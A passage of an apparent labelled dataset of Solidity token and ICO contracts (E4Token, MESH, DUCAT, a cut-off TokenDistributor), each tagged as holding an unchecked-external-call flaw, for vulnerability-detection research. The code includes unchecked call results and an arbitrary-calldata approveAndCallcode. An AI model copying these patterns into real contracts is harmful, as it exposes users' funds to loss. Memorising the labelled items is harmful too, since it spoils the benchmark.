uint public maxPaysPer; // num pays per segment uint public minPayInterval; // min interval between start pay run uint fundingStart; // funding start time immediately after anouncement uint fundingDeadline; // funding end time uint usageDeadline; // deadline where minimum usage needs to be met before considered success uint public lastPayoutTime; // timestamp of last payout time uint vestTime; // 1 year past sale vest developer tokens uint numDevTokens; // 10 per cent of tokens after close to developers bool developersGranted; // flag uint remunerationStage; // 0 for not yet, 1 for 10 percent, 2 for remaining upon succeeded. uint public remunerationBalance; // remuneration balance to release token funds uint auxPartnerBalance; // aux partner balance - 1 percent uint rmGas; // remuneration gas uint rwGas; // reward gas uint rfGas; // refund gas IcoStatusValue icoStatus; // current status of ico SettingStateValue public settingsState; // -------------------- // contract constructor // -------------------- function E4Token() { owner = msg.sender; developers = msg.sender; } // ----------------------------------- // use this to reset everything, will never be called after lockRelease // ----------------------------------- function applySettings(SettingStateValue qState, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _minUsage, uint _tokGoal, uint _maxMintable, uint _threshold, uint _price, uint _mpp, uint _mpi ) { if (msg.sender != owner) return; // these settings are permanently tweakable for performance adjustments payoutThreshold = _threshold; maxPaysPer = _mpp; minPayInterval = _mpi; // this first test checks if already locked if (settingsState == SettingStateValue.lockedRelease) return; settingsState = qState; // this second test allows locking without changing other permanent settings // WARNING, MAKE SURE YOUR'RE HAPPY WITH ALL SETTINGS // BEFORE LOCKING if (qState == SettingStateValue.lockedRelease) { StatEvent(""Locking!""); return; } icoStatus = IcoStatusValue.anouncement; rmGas = 100000; // remuneration gas rwGas = 10000; // reward gas rfGas = 10000; // refund gas // zero out all token holders. // leave alloced on, leave num accounts // cant delete them anyways if (totalTokensMinted > 0) { for (uint i = 0; i < numAccounts; i++ ) { address a = holderIndexes[i]; if (a != address(0)) { holderAccounts[a].tokens = 0; holderAccounts[a].balance = 0; } } } // do not reset numAccounts! totalTokensMinted = 0; // this will erase totalTokenFundsReceived = 0; // this will erase. partnerCredits = 0; // reset all partner credits fundingStart = _saleStart; fundingDeadline = _saleEnd; usageDeadline = _usageEnd; minUsageGoal = _minUsage; minIcoTokenGoal = _tokGoal; maxMintableTokens = _maxMintable; tokenPrice = _price; vestTime = fundingStart + (365 days); numDevTokens = 0; holdoverBalance = 0; payoutBalance = 0; curPayoutId = 1; lastPayoutIndex = 0; remunerationStage = 0; remunerationBalance = 0; auxPartnerBalance = 0; developersGranted = false; lastPayoutTime = 0; if (this.balance > 0) { if (!owner.call.gas(rfGas).value(this.balance)()) StatEvent(""ERROR!""); } StatEvent(""ok""); } // --------------------------------------------------- // tokens held reserve the top two bytes for the payid last paid. // this is so holders at the top of the list dont transfer tokens // to themselves on the bottom of the list thus scamming the // system. this function deconstructs the tokenheld value. // --------------------------------------------------- function getPayIdAndHeld(uint _tokHeld) internal returns (uint _payId, uint _held) { _payId = (_tokHeld / (2 ** 48)) & 0xffff; _held = _tokHeld & 0xffffffffffff; } function getHeld(uint _tokHeld) internal returns (uint _held) { _held = _tokHeld & 0xffffffffffff; } // --------------------------------------------------- // allocate a new account by setting alloc to true // set the top to bytes of tokens to cur pay id to leave out of current round // add holder index, bump the num accounts // --------------------------------------------------- function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; } // -------------------------------------- // BEGIN ERC-20 from StandardToken // -------------------------------------- function totalSupply() constant returns (uint256 supply) { if (icoStatus == IcoStatusValue.saleOpen || icoStatus == IcoStatusValue.anouncement) supply = maxMintableTokens; else supply = totalTokensMinted; } function transfer(address _to, uint256 _value) returns (bool success) { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (holderAccounts[msg.sender] >= _value && balances[_to] + _value > holderAccounts[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[msg.sender].tokens); if (heldFrom >= _value && _value > 0) { holderAccounts[msg.sender].tokens -= _value; if (!holderAccounts[_to].alloced) { addAccount(_to); } uint newHeld = _value + getHeld(holderAccounts[_to].tokens); if (icoStatus == IcoStatusValue.saleOpen) // avoid mcgees gambit pidFrom = curPayoutId; holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if ((_from == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); return false; } //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { var (pidFrom, heldFrom) = getPayIdAndHeld(holderAccounts[_from].tokens); if (heldFrom >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { holderAccounts[_from].tokens -= _value; if (!holderAccounts[_to].alloced) addAccount(_to); uint newHeld = _value + getHeld(holderAccounts[_to].tokens); if (icoStatus == IcoStatusValue.saleOpen) // avoid mcgees gambit pidFrom = curPayoutId; holderAccounts[_to].tokens = newHeld | (pidFrom * (2 ** 48)); allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { // vars default to 0 if (holderAccounts[_owner].alloced) { balance = getHeld(holderAccounts[_owner].tokens); } } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // ---------------------------------- // END ERC20 // ---------------------------------- // ------------------------------------------- // default payable function. // if sender is e4row partner, this is a rake fee payment // otherwise this is a token purchase. // tokens only purchaseable between tokenfundingstart and end // ------------------------------------------- function () payable { if (msg.sender == e4_partner) { feePayment(); // from e4row game escrow contract } else { purchaseToken(); } } // ----------------------------- // purchase token function - tokens only sold during sale period up until the max tokens // purchase price is tokenPrice. all units in wei. // purchaser will not be included in current pay run // ----------------------------- function purchaseToken() payable { uint nvalue = msg.value; // being careful to preserve msg.value address npurchaser = msg.sender; if (nvalue < tokenPrice) throw; uint qty = nvalue/tokenPrice; updateIcoStatus(); if (icoStatus != IcoStatusValue.saleOpen) // purchase is closed throw; if (totalTokensMinted + qty > maxMintableTokens) throw; if (!holderAccounts[npurchaser].alloced) addAccount(npurchaser); // purchaser waits for next payrun. otherwise can disrupt cur pay run uint newHeld = qty + getHeld(holderAccounts[npurchaser].tokens); holderAccounts[npurchaser].tokens = newHeld | (curPayoutId * (2 ** 48)); totalTokensMinted += qty; totalTokenFundsReceived += nvalue; if (totalTokensMinted == maxMintableTokens) { icoStatus = IcoStatusValue.saleClosed; //test unnecessary - if (getNumTokensPurchased() >= minIcoTokenGoal) doDeveloperGrant(); StatEventI(""Purchased,Granted"", qty); } else StatEventI(""Purchased"", qty); } // --------------------------- // accept payment from e4row contract // WARNING! DO NOT CALL THIS FUNCTION LEST YOU LOSE YOUR MONEY // HOWEVER ADD THIS GIFT TO THE HOLDOVERBALANCE // YOU HAVE BEEN WARNED // --------------------------- function feePayment() payable { if (msg.sender != e4_partner) { if (msg.value > 0) holdoverBalance += msg.value; StatEvent(""forbidden""); return; // thank you } uint nfvalue = msg.value; // preserve value in case changed in dev grant updateIcoStatus(); holdoverBalance += nfvalue; partnerCredits += nfvalue; StatEventI(""Payment"", nfvalue); if (holdoverBalance > payoutThreshold || payoutBalance > 0) doPayout(maxPaysPer); } // --------------------------- // set the e4row partner, this is only done once // --------------------------- function setE4RowPartner(address _addr) public { // ONLY owner can set and ONLY ONCE! (unless ""unlocked"" debug) // once its locked. ONLY ONCE! if (msg.sender == owner) { if ((e4_partner == address(0)) || (settingsState == SettingStateValue.debug)) { e4_partner = _addr; partnerCredits = 0; //StatEventI(""E4-Set"", 0); } else { StatEvent(""Already Set""); } } } // ---------------------------- // return the total tokens purchased // ---------------------------- function getNumTokensPurchased() constant returns(uint _purchased) { _purchased = totalTokensMinted-numDevTokens; } // ---------------------------- // return the num games as reported from the e4row contract // ---------------------------- function getNumGames() constant returns(uint _games) { //_games = 0; if (e4_partner != address(0)) { iE4RowEscrow pe4 = iE4RowEscrow(e4_partner); _games = uint(pe4.getNumGamesStarted()); } //else //StatEvent(""Empty E4""); } // ------------------------------------------------ // get the founders, auxPartner, developer // -------------------------------------------------- function getSpecialAddresses() constant returns (address _fndr, address _aux, address _dev, address _e4) { //if (_sender == owner) { // no msg.sender on constant functions at least in mew _fndr = founderOrg; _aux = auxPartner; _dev = developers; _e4 = e4_partner; //} } // ---------------------------- // update the ico status // ---------------------------- function updateIcoStatus() public { if (icoStatus == IcoStatusValue.succeeded || icoStatus == IcoStatusValue.failed) return; else if (icoStatus == IcoStatusValue.anouncement) { if (now > fundingStart && now <= fundingDeadline) { icoStatus = IcoStatusValue.saleOpen; } else if (now > fundingDeadline) { // should not be here - this will eventually fail icoStatus = IcoStatusValue.saleClosed; } } else { uint numP = getNumTokensPurchased(); uint numG = getNumGames(); if ((now > fundingDeadline && numP < minIcoTokenGoal) || (now > usageDeadline && numG < minUsageGoal)) { icoStatus = IcoStatusValue.failed; } else if ((now > fundingDeadline) // dont want to prevent more token sales && (numP >= minIcoTokenGoal) && (numG >= minUsageGoal)) { icoStatus = IcoStatusValue.succeeded; // hooray } if (icoStatus == IcoStatusValue.saleOpen && ((numP >= maxMintableTokens) || (now > fundingDeadline))) { icoStatus = IcoStatusValue.saleClosed; } } if (!developersGranted && icoStatus != IcoStatusValue.saleOpen && icoStatus != IcoStatusValue.anouncement && getNumTokensPurchased() >= minIcoTokenGoal) { doDeveloperGrant(); // grant whenever status goes from open to anything... } } // ---------------------------- // request refund. Caller must call to request and receive refund // WARNING - withdraw rewards/dividends before calling. // YOU HAVE BEEN WARNED // ---------------------------- function requestRefund() { address nrequester = msg.sender; updateIcoStatus(); uint ntokens = getHeld(holderAccounts[nrequester].tokens); if (icoStatus != IcoStatusValue.failed) StatEvent(""No Refund""); else if (ntokens == 0) StatEvent(""No Tokens""); else { uint nrefund = ntokens * tokenPrice; if (getNumTokensPurchased() >= minIcoTokenGoal) nrefund -= (nrefund /10); // only 90 percent b/c 10 percent payout if (!holderAccounts[developers].alloced) addAccount(developers); holderAccounts[developers].tokens += ntokens; holderAccounts[nrequester].tokens = 0; if (holderAccounts[nrequester].balance > 0) { // see above warning!! holderAccounts[developers].balance += holderAccounts[nrequester].balance; holderAccounts[nrequester].balance = 0; } if (!nrequester.call.gas(rfGas).value(nrefund)()) throw; //StatEventI(""Refunded"", nrefund); } } // --------------------------------------------------- // payout rewards to all token holders // use a second holding variable called PayoutBalance to do // the actual payout from b/c too much gas to iterate thru // each payee. Only start a new run at most once per ""minpayinterval"". // Its done in runs of ""_numPays"" // we use special coding for the holderAccounts to avoid a hack // of getting paid at the top of the list then transfering tokens // to another address at the bottom of the list. // because of that each holderAccounts entry gets the payoutid stamped upon it (top two bytes) // also a token transfer will transfer the payout id. // --------------------------------------------------- function doPayout(uint _numPays) internal { if (totalTokensMinted == 0) return; if ((holdoverBalance > 0) && (payoutBalance == 0) && (now > (lastPayoutTime+minPayInterval))) { // start a new run curPayoutId++; if (curPayoutId >= 32768) curPayoutId = 1; lastPayoutTime = now; payoutBalance = int(holdoverBalance); prOrigPayoutBal = payoutBalance; prOrigTokensMint = totalTokensMinted; holdoverBalance = 0; lastPayoutIndex = 0; StatEventI(""StartRun"", uint(curPayoutId)); } else if (payoutBalance > 0) { // work down the p.o.b uint nAmount; uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint; uint paids = 0; uint i; // intentional for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) { address a = holderIndexes[i]; if (a == address(0)) { continue; } var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens); if ((held > 0) && (pid != curPayoutId)) { nAmount = nPerTokDistrib * held; if (int(nAmount) <= payoutBalance){ holderAccounts[a].balance += nAmount; holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held; payoutBalance -= int(nAmount); paids++; } } } lastPayoutIndex = i; if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) { lastPayoutIndex = 0; if (payoutBalance > 0) holdoverBalance += uint(payoutBalance);// put back any leftovers payoutBalance = 0; StatEventI(""RunComplete"", uint(prOrigPayoutBal) ); } else { StatEventI(""PayRun"", paids ); } } } // ---------------------------- // sender withdraw entire rewards/dividends // ---------------------------- function withdrawDividends() public returns (uint _amount) { if (holderAccounts[msg.sender].balance == 0) { //_amount = 0; StatEvent(""0 Balance""); return; } else { if ((msg.sender == developers) && (now < vestTime)) { //statEvent(""Tokens not yet vested.""); //_amount = 0; return; } _amount = holderAccounts[msg.sender].balance; holderAccounts[msg.sender].balance = 0; if (!msg.sender.call.gas(rwGas).value(_amount)()) throw; //StatEventI(""Paid"", _amount); } } // ---------------------------- // set gas for operations // ---------------------------- function setOpGas(uint _rm, uint _rf, uint _rw) { if (msg.sender != owner && msg.sender != developers) { //StatEvent(""only owner calls""); return; } else { rmGas = _rm; rfGas = _rf; rwGas = _rw; } } // ---------------------------- // get gas for operations // ---------------------------- function getOpGas() constant returns (uint _rm, uint _rf, uint _rw) { _rm = rmGas; _rf = rfGas; _rw = rwGas; } // ---------------------------- // check rewards. pass in address of token holder // ---------------------------- function checkDividends(address _addr) constant returns(uint _amount) { if (holderAccounts[_addr].alloced) _amount = holderAccounts[_addr].balance; } // ------------------------------------------------ // icoCheckup - check up call for administrators // after sale is closed if min ico tokens sold, 10 percent will be distributed to // company to cover various operating expenses // after sale and usage dealines have been met, remaining 90 percent will be distributed to // company. // ------------------------------------------------ function icoCheckup() public { if (msg.sender != owner && msg.sender != developers) throw; uint nmsgmask; //nmsgmask = 0; if (icoStatus == IcoStatusValue.saleClosed) { if ((getNumTokensPurchased() >= minIcoTokenGoal) && (remunerationStage == 0 )) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; // 9 percent auxPartnerBalance = (totalTokenFundsReceived/100); // 1 percent nmsgmask |= 1; } } if (icoStatus == IcoStatusValue.succeeded) { if (remunerationStage == 0 ) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 4; } if (remunerationStage == 1) { // we have already suceeded remunerationStage = 2; remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10); // 90 percent nmsgmask |= 8; } } uint ntmp; if (remunerationBalance > 0) { // only pay one entity per call, dont want to run out of gas ntmp = remunerationBalance; remunerationBalance = 0; if (!founderOrg.call.gas(rmGas).value(ntmp)()) { remunerationBalance = ntmp; nmsgmask |= 32; } else { nmsgmask |= 64; } } else if (auxPartnerBalance > 0) { // note the ""else"" only pay one entity per call, dont want to run out of gas ntmp = auxPartnerBalance; auxPartnerBalance = 0; if (!auxPartner.call.gas(rmGas).value(ntmp)()) { auxPartnerBalance = ntmp; nmsgmask |= 128; } else { nmsgmask |= 256; } } StatEventI(""ico-checkup"", nmsgmask); } // ---------------------------- // swap executor // ---------------------------- function changeOwner(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; owner = _addr; } // ---------------------------- // swap developers account // ---------------------------- function changeDevevoperAccont(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; developers = _addr; } // ---------------------------- // change founder // ---------------------------- function changeFounder(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; founderOrg = _addr; } // ---------------------------- // change auxPartner // ---------------------------- function changeAuxPartner(address _aux) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; auxPartner = _aux; } // ---------------------------- // DEBUG ONLY - end this contract, suicide to developers // ---------------------------- function haraKiri() { if (settingsState != SettingStateValue.debug) throw; if (msg.sender != owner) throw; suicide(developers); } // ---------------------------- // get all ico status, funding and usage info // ---------------------------- function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest) { _status = icoStatus; _saleStart = fundingStart; _saleEnd = fundingDeadline; _usageEnd = usageDeadline; _vest = vestTime; _saleGoal = minIcoTokenGoal; _usageGoal = minUsageGoal; _sold = getNumTokensPurchased(); _used = getNumGames(); _funds = totalTokenFundsReceived; _credits = partnerCredits; _remuStage = remunerationStage; } // ---------------------------- // NOTE! CALL AT THE RISK OF RUNNING OUT OF GAS. // ANYONE CAN CALL THIS FUNCTION BUT YOU HAVE TO SUPPLY // THE CORRECT AMOUNT OF GAS WHICH MAY DEPEND ON // THE _NUMPAYS PARAMETER. WHICH MUST BE BETWEEN 1 AND 1000 // THE STANDARD VALUE IS STORED IN ""maxPaysPer"" // ---------------------------- function flushDividends(uint _numPays) { if ((_numPays == 0) || (_numPays > 1000)) { StatEvent(""Invalid.""); } else if (holdoverBalance > 0 || payoutBalance > 0) { doPayout(_numPays); } else { StatEvent(""Nothing to do.""); } } function doDeveloperGrant() internal { if (!developersGranted) { developersGranted = true; numDevTokens = (totalTokensMinted * 15)/100; totalTokensMinted += numDevTokens; if (!holderAccounts[developers].alloced) addAccount(developers); uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens; holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48)); } } }",./Dataset/unchecked external call (UC),7,7 31737.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.18; contract Token { /* This is a slight change to the ERC20 base standard.*/ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { /// `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require(msg.sender == owner); _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Owned() public { owner = msg.sender; } address newOwner=0x0; event OwnerUpdate(address _prevOwner, address _newOwner); ///change the owner function changeOwner(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } /// accept the ownership function acceptOwnership() public{ require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Controlled is Owned{ function Controlled() public { setExclude(msg.sender); } // Flag that determines if the token is transferable or not. bool public transferEnabled = false; // flag that makes locked address effect bool lockFlag=true; mapping(address => bool) locked; mapping(address => bool) exclude; function enableTransfer(bool _enable) public onlyOwner{ transferEnabled=_enable; } function disableLock(bool _enable) public onlyOwner returns (bool success){ lockFlag=_enable; return true; } function addLock(address _addr) public onlyOwner returns (bool success){ require(_addr!=msg.sender); locked[_addr]=true; return true; } function setExclude(address _addr) public onlyOwner returns (bool success){ exclude[_addr]=true; return true; } function removeLock(address _addr) public onlyOwner returns (bool success){ locked[_addr]=false; return true; } modifier transferAllowed(address _addr) { if (!exclude[_addr]) { assert(transferEnabled); if(lockFlag){ assert(!locked[_addr]); } } _; } } contract StandardToken is Token,Controlled { function transfer(address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public transferAllowed(_from) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract MESH is StandardToken { function () public { revert(); } string public name = ""M2C Mesh Network""; uint8 public decimals = 18; string public symbol = ""mesh""; // The nonce for avoid transfer replay attacks mapping(address => uint256) nonces; function MESH (uint256 initialSupply) public { totalSupply = initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; } /* * Proxy transfer token. When some users of the ethereum account has no ether, * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees * @param _from * @param _to * @param _value * @param fee * @param _v * @param _r * @param _s */ function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){ if(balances[_from] < _fee + _value) revert(); uint256 nonce = nonces[_from]; bytes32 h = keccak256(_from,_to,_value,_fee,nonce); if(_from != ecrecover(h,_v,_r,_s)) revert(); if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _fee < balances[msg.sender]) revert(); balances[_to] += _value; Transfer(_from, _to, _value); balances[msg.sender] += _fee; Transfer(_from, msg.sender, _fee); balances[_from] -= _value + _fee; nonces[_from] = nonce + 1; return true; } /* * Proxy approve that some one can authorize the agent for broadcast transaction * which call approve method, and agents may charge agency fees * @param _from The address which should tranfer tokens to others * @param _spender The spender who allowed by _from * @param _value The value that should be tranfered. * @param _v * @param _r * @param _s */ function approveProxy(address _from, address _spender, uint256 _value, uint8 _v,bytes32 _r, bytes32 _s) public returns (bool success) { uint256 nonce = nonces[_from]; bytes32 hash = keccak256(_from,_spender,_value,nonce); if(_from != ecrecover(hash,_v,_r,_s)) revert(); allowed[_from][_spender] = _value; Approval(_from, _spender, _value); nonces[_from] = nonce + 1; return true; } /* * Get the nonce * @param _addr */ function getNonce(address _addr) public constant returns (uint256){ return nonces[_addr]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(keccak256(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } /* Approves and then calls the contract code*/ function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //Call the contract code if(!_spender.call(_extraData)) { revert(); } return true; } }",./Dataset/unchecked external call (UC),7,7 31561.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else {return false;} } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else {return false;} } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; uint256 public totalSupply; } contract DUCAT is StandardToken { function() { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = '2.0.0.RELEASE'; function DUCAT() { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Ducat""; decimals = 18; symbol = ""DUCAT""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if (!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) {throw;} return true; } }",./Dataset/unchecked external call (UC),7,7 10782.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract TokenDistributor is Ownable { using SafeMath for uint; address public targetToken; address[] public stakeHolders; uint256 public maxStakeHolders; event InsufficientTokenBalance( address indexed _token, uint256 _time ); event TokensDistributed( address indexed _token, uint256 _total, uint256 _time ); constructor ( address _targetToken, uint256 _totalStakeHolders, address[] _stakeHolders) public Ownable() { setTargetToken(_targetToken); maxStakeHolders = _totalStakeHolders; if (_stakeHolders.length > 0) { for (uint256 count = 0; count < _stakeHolders.length && count < _totalStakeHolders; count++) { if (_stakeHolders[count] != 0x0) { _setStakeHolder(_stakeHolders[count]); } } } } function isDistributionDue (address _token) public view returns (bool) { return getTokenBalance(_token) > 1; } function isDistributionDue () public view returns (bool) { return getTokenBalance(targetToken) > 1; } function countStakeHolders () public view returns (uint256) { return stakeHolders.length; } function getTokenBalance(address _token) public view returns (uint256) { ERC20Basic token = ERC20Basic(_token); return token.balanceOf(address(this)); } function getPortion (uint256 _total) public view returns (uint256) { return _total.div(stakeHolders.length); } function setTargetToken (address _targetToken) public onlyOwner returns (bool) { if(_targetToken != 0x0 && targetToken == 0x0) { targetToken = _targetToken; return true; } } function _setStakeHolder (address _stakeHolder) internal onlyOwner returns (bool) { require(countStakeHolders() < maxStakeHolders, ""Max StakeHolders set""); stakeHolders.push(_stakeHolder); return true; } function _transfer (address _token, address _recipient, uint256 _value) internal { ERC20Basic token = ERC20Basic(_token); token.transfer(_recipient, _value); } function distribute (address _token) public returns (bool) { uint256 balance = getTokenBalance(_token); uint256 perStakeHolder = getPortion(balance); if (balance < 1) { emit InsufficientTokenBalance(_token, block.timestamp); return false; } else { for (uint256 count = 0; count < stakeHolders.length; count++) { _transfer(_token, stakeHolders[count], perStakeHolder); } uint256 newBalance = getTokenBalance(_token); if (newBalance > 0 && getPortion(newBalance) == 0) { _transfer(_token, owner, newBalance); } emit TokensDistributed(_token, balance, block.timestamp); return true; } } function () public { distribute(targetToken); } } contract WeightedTokenDistributor is TokenDistributor { using SafeMath for uint; 